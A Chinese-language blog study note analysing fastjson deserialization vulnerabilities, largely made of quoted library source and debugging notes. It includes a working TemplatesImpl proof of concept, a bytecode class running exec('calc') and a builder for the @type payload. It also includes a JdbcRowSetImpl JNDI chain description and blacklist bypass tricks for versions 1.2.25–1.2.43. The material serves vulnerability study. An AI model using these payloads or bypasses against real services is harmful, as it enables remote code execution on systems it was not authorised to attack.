3404 字
17 分钟
fastjson
2026-01-22

1. fastjson 初步了解#

​ java 编写的高性能 JSON 库,用于将数据在 JSON 和 java Object 之间转换。

提供了两个接口来实现序列化和反序列化的操作。

  • JSON.toJSONString 将 java 对象转换为 json 对象,序列化。

  • JSON.parseObject / JSON.parse 将 json 对象转换为 java 对象,反序列化.

img

String jsonString = JSON.toJSONString(student,SerializerFeature.WriteClassName)
### SerializerFeature.WriteClassName,是 JSON.toJSONString() 中的一个设置属性值,设置之后在### 序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其
### getter/setter/is 方法

img

out 中有一个字符数组,student 的属性等存储其中。img

创建一个序列化器,将 object 序列化,最后调用 toString()。image-20260118171632159

fastjson 产生的安全问题:fastjson 在反序列化时会去看 @type 中指定的类,然后在反序列化的过程中自动调用一些 setter 和 getter 以及构造函数方法。每个版本都是一样的,不同版本有不同的黑名单,维护在 ParserConfig 中。

满足条件的 setter:

  • 非静态函数
  • 返回类型为 void 或当前类
  • 参数个数为 1 个

满足条件的 getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

满足以上条件的 setter getter 会在反序列化的过程中调用。

1.2.24 版本没有黑名单,没有 checkAutoType ,autoType 默认 True。#
1.2.25 版本黑名单如下,autoType 默认 false。#
[bsh, com.mchange, com.sun., java.lang.Thread, java.net.Socket, java.rmi, javax.xml, org.apache.bcel, org.apache.commons.beanutils, org.apache.commons.collections.Transformer, org.apache.commons.collections.functors, org.apache.commons.collections4.comparators, org.apache.commons.fileupload, org.apache.myfaces.context.servlet, org.apache.tomcat, org.apache.wicket.util, org.codehaus.groovy.runtime, org.hibernate, org.jboss, org.mozilla.javascript, org.python.core, org.springframework]

1.2.42 开始黑名单变成 hash 值,目前有一些跑出来的类 LeadroyaL/fastjson-blacklist

checkAutoType

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
# 如果开启了 autoTypeSupport 会检查 typeName 是否在白名单,如果在直接 loadClass,不在进行其他处理。
if (this.autoTypeSupport || expectClass != null) {
for(int i = 0; i < this.acceptList.length; ++i) {
String accept = this.acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
# 如果不在白名单,会检查 typeName 是否在黑名单,如果在抛出异常
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
# 如果不在黑白名单,或者 autoTypeSupport 没开启,则去 Mapping 缓存找这个类
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
# 如果 Mapping 缓存没用,去反序列化器缓存中找
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
# 如果上述两种方式找到了,并且指定了 expectClass ,检查是不是其子类,不是则抛出异常。
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
# 如果没有开启 autoTypeSupport ,则先经过黑名单过滤,然后在经过白名单,在白名单就 loadClass
if (!this.autoTypeSupport) {
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(int i = 0; i < this.acceptList.length; ++i) {
String accept = this.acceptList[i];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
# 如果不在黑白名单,也不在缓存中,则直接 loadClass
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (clazz != null) {
# 如果类上有 @JSONType 注解,直接放行
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}
// 拦截高危:ClassLoader 和 DataSource
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
# 最后的检查,所以需要提前设置 autoTypeSupport 为 true
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

2. fastjson 1.2.24 版本下的链子#

TODO

1. 基于 TemplatesImpl 的链子#

这条链子基于 templatesimpl 加载字节码,上层是调用了 newInstance() 方法

img

再往上是 getTransletInstance 方法,是一个 getter 方法。

要加载的恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class templatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {
// 方法实现
}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
// 方法实现
}
public templatesBytes() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
}

尝试使用 getTransletInstance() 去触发,事后发现这个不会被触发,不满足上述 getter 的条件,继续找了一个 getoutputproperties,提前编译字节码 javac evil.java

修改为

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplateImplPoc {
public static void main(String[] args) throws IOException {
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\fastjson\\src\\main\\java\\evil.class"));
String base64Bytecodes = java.util.Base64.getEncoder().encodeToString(bytecodes);
String payload = String.format(
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_name\":\"evil\"," +
"\"_tfactory\":{}," +
"\"_bytecodes\":[\"%s\"],"+"\"_outputProperties\":{}"+"}", base64Bytecodes);
System.out.println("payload as follow:\n" + payload);
JSON.parse(payload, Feature.SupportNonPublicField);
}
}

调试一遍

img

一直跟进到这里,新建一个 JSONObject 对象,查看是否保持字段顺序,继续跟进

img

JSONObject 就是一个 HashMap。

调用栈

img

img

需要这个参数 Feature.SupportNonPublicField 所以限制会比 jdbc 那个链子限制大一些

2. 基于 JdbcRowSetImpl 的链子#

基于 RMI 利用的 JDK 版本 ≤ 6u141、7u131、8u121,基于 LDAP 利用的 JDK 版本 ≤ 6u211、7u201、8u191。

img

调用了 lookup() 方法,可以打 jndi+ldap,rmi

public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}
}

对 { [ 做额外处理避免了开销大的 nextToken()

public final void nextToken() {
sp = 0;
for (;;) {
pos = bp;
if (ch == '/') {
skipComment();
continue;
}
if (ch == '"') {
scanString();
return;
}
if (ch == ',') {
next();
token = COMMA;
return;
}
if (ch >= '0' && ch <= '9') {
scanNumber();
return;
}
if (ch == '-') {
scanNumber();
return;
}
switch (ch) {
case '\'':
if (!isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("Feature.AllowSingleQuotes is false");
}
scanStringSingleQuote();
return;
case ' ':
case '\t':
case '\b':
case '\f':
case '\n':
case '\r':
next();
break;
case 't': // true
scanTrue();
return;
case 'f': // false
scanFalse();
return;
case 'n': // new,null
scanNullOrNew();
return;
case 'T':
case 'N': // NULL
case 'S':
case 'u': // undefined
scanIdent();
return;
case '(':
next();
token = LPAREN;
return;
case ')':
next();
token = RPAREN;
return;
case '[':
next();
token = LBRACKET;
return;
case ']':
next();
token = RBRACKET;
return;
case '{':
next();
token = LBRACE;
return;
case '}':
next();
token = RBRACE;
return;
case ':':
next();
token = COLON;
return;
default:
if (isEOF()) { // JLS
if (token == EOF) {
throw new JSONException("EOF error");
}
token = EOF;
pos = bp = eofPos;
} else {
if (ch <= 31 || ch == 127) {
next();
break;
}
lexError("illegal.char", String.valueOf((int) ch));
next();
}
return;
}
}
}

拿到一个起始的 token 然后跟进到 parse(),根据 token 判断走什么

public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
case SET:
lexer.nextToken();
HashSet<Object> set = new HashSet<Object>();
parseArray(set, fieldName);
return set;
case TREE_SET:
lexer.nextToken();
TreeSet<Object> treeSet = new TreeSet<Object>();
parseArray(treeSet, fieldName);
return treeSet;
case LBRACKET:
JSONArray array = new JSONArray();
parseArray(array, fieldName);
if (lexer.isEnabled(Feature.UseObjectArray)) {
return array.toArray();
}
return array;
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
case LITERAL_INT:
Number intValue = lexer.integerValue();
lexer.nextToken();
return intValue;
case LITERAL_FLOAT:
Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
lexer.nextToken();
return value;
case LITERAL_STRING:
String stringLiteral = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);
if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
try {
if (iso8601Lexer.scanISO8601DateIfMatch()) {
return iso8601Lexer.getCalendar().getTime();
}
} finally {
iso8601Lexer.close();
}
}
return stringLiteral;
case NULL:
lexer.nextToken();
return null;
case UNDEFINED:
lexer.nextToken();
return null;
case TRUE:
lexer.nextToken();
return Boolean.TRUE;
case FALSE:
lexer.nextToken();
return Boolean.FALSE;
case NEW:
lexer.nextToken(JSONToken.IDENTIFIER);
if (lexer.token() != JSONToken.IDENTIFIER) {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.LPAREN);
accept(JSONToken.LPAREN);
long time = ((Number) lexer.integerValue()).longValue();
accept(JSONToken.LITERAL_INT);
accept(JSONToken.RPAREN);
return new Date(time);
case EOF:
if (lexer.isBlankInput()) {
return null;
}
throw new JSONException("unterminated json string, " + lexer.info());
case ERROR:
default:
throw new JSONException("syntax error, " + lexer.info());
}
}

img

然后跟进 parseObject()

public final Object parseObject(final Map object, Object fieldName) {
final JSONLexer lexer = this.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken();
return null;
}
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
}
if (lexer.token() != JSONToken.LBRACE && lexer.token() != JSONToken.COMMA) {
throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
}
ParseContext context = this.context;
try {
boolean setContextFlag = false;
for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}
boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();
if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}
return object;
} else if (ch == '\'') {
if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}
key = lexer.scanSymbol(symbolTable, '\'');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos());
}
} else if (ch == EOI) {
throw new JSONException("syntax error");
} else if (ch == ',') {
throw new JSONException("syntax error");
} else if ((ch >= '0' && ch <= '9') || ch == '-') {
lexer.resetStringPosition();
lexer.scanNumber();
try {
if (lexer.token() == JSONToken.LITERAL_INT) {
key = lexer.integerValue();
} else {
key = lexer.decimalValue(true);
}
} catch (NumberFormatException e) {
throw new JSONException("parse number key error" + lexer.info());
}
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("parse number key error" + lexer.info());
}
} else if (ch == '{' || ch == '[') {
lexer.nextToken();
key = parse();
isObjectKey = true;
} else {
if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}
key = lexer.scanSymbolUnQuoted(symbolTable);
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
}
}
if (!isObjectKey) {
lexer.next();
lexer.skipWhitespace();
}
ch = lexer.getCurrent();
lexer.resetStringPosition();
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}
lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}
if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}
return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
}
this.setResolveStatus(TypeNameRedirect);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}
if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
}
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}
if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
lexer.nextToken(JSONToken.RBRACE);
Object refValue = null;
if ("@".equals(ref)) {
if (this.context != null) {
ParseContext thisContext = this.context;
Object thisObj = thisContext.object;
if (thisObj instanceof Object[] || thisObj instanceof Collection<?>) {
refValue = thisObj;
} else if (thisContext.parent != null) {
refValue = thisContext.parent.object;
}
}
} else if ("..".equals(ref)) {
if (context.object != null) {
refValue = context.object;
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
} else if ("$".equals(ref)) {
ParseContext rootContext = context;
while (rootContext.parent != null) {
rootContext = rootContext.parent;
}
if (rootContext.object != null) {
refValue = rootContext.object;
} else {
addResolveTask(new ResolveTask(rootContext, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
if (lexer.token() != JSONToken.RBRACE) {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.COMMA);
return refValue;
} else {
throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
}
}
if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}
if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}
Object value;
if (ch == '"') {
lexer.scanString();
String strValue = lexer.stringVal();
value = strValue;
if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(strValue);
if (iso8601Lexer.scanISO8601DateIfMatch()) {
value = iso8601Lexer.getCalendar().getTime();
}
iso8601Lexer.close();
}
object.put(key, value);
} else if (ch >= '0' && ch <= '9' || ch == '-') {
lexer.scanNumber();
if (lexer.token() == JSONToken.LITERAL_INT) {
value = lexer.integerValue();
} else {
value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
}
object.put(key, value);
} else if (ch == '[') { // 减少嵌套,兼容android
lexer.nextToken();
JSONArray list = new JSONArray();
final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
// if (!parentIsArray) {
// this.setContext(context);
// }
if (fieldName == null) {
this.setContext(context);
}
this.parseArray(list, key);
if (lexer.isEnabled(Feature.UseObjectArray)) {
value = list.toArray();
} else {
value = list;
}
object.put(key, value);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
} else if (lexer.token() == JSONToken.COMMA) {
continue;
} else {
throw new JSONException("syntax error");
}
} else if (ch == '{') { // 减少嵌套,兼容android
lexer.nextToken();
final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
ParseContext ctxLocal = null;
if (!parentIsArray) {
ctxLocal = setContext(context, input, key);
}
Object obj = null;
boolean objParsed = false;
if (fieldTypeResolver != null) {
String resolveFieldName = key != null ? key.toString() : null;
Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
if (fieldType != null) {
ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
obj = fieldDeser.deserialze(this, fieldType, key);
objParsed = true;
}
}
if (!objParsed) {
obj = this.parseObject(input, key);
}
if (ctxLocal != null && input != obj) {
ctxLocal.object = object;
}
checkMapResolve(object, key.toString());
if (object.getClass() == JSONObject.class) {
object.put(key.toString(), obj);
} else {
object.put(key, obj);
}
if (parentIsArray) {
//setContext(context, obj, key);
setContext(obj, key);
}
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
setContext(context);
return object;
} else if (lexer.token() == JSONToken.COMMA) {
if (parentIsArray) {
this.popContext();
} else {
this.setContext(context);
}
continue;
} else {
throw new JSONException("syntax error, " + lexer.tokenName());
}
} else {
lexer.nextToken();
value = parse();
if (object.getClass() == JSONObject.class) {
key = key.toString();
}
object.put(key, value);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
} else if (lexer.token() == JSONToken.COMMA) {
continue;
} else {
throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
}
}
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch == ',') {
lexer.next();
continue;
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();
// this.setContext(object, fieldName);
this.setContext(value, key);
return object;
} else {
throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
}
}
} finally {
this.setContext(context);
}
}

关键部分是

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}
lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}
if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}
return instance;

调用 scanSymbol() 获取键值 typeName ,然后 loadClass 当前 @type 指定的类。

最后在 368 行进入 deserialize() 方法

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

img

这个调用栈看不到细节,暂时先去看下一个了,

img

跟进 deserialize()

img

这里的 Object 是 JdbcRowSetimpl,往下就是 setValue 赋值

因为 key 是 AutoCommit value 是 true ,

img

跟进到这就是调用了 setAutoCommit(true),下面就是 jdbcRowSetImpl 的了

img

3. fastjson 1.2.25 - 1.2.41 绕过#

提前配置 AutoTypeSupport 为 true

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

如果要使用黑名单的类,在黑名单类前面 + L 结尾 + ; 绕过。img

原因在 loadClass 中img

4.fastjson 1.2.42 版本绕过#

对黑名单的类进行 hash 比对,不再明文存储

双写 L ; 绕过,没有循环检查

5.fastjson 1.2.43 版本绕过#

黑名单类前加 [

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
// 这里直接 loadClass
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var7) {
var7.printStackTrace();
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var6) {
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var5) {
return clazz;
}
}
} else {
return null;
}
}

参考资料

Java反序列化Fastjson篇01-FastJson基础 | Drunkbaby’s Blog

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog

LeadroyaL/fastjson-blacklist

fastjson
https://fuwari.vercel.app/posts/post7-java_fastjson/fastjson/
作者
wele
发布于
2026-01-22
许可协议
CC BY-NC-SA 4.0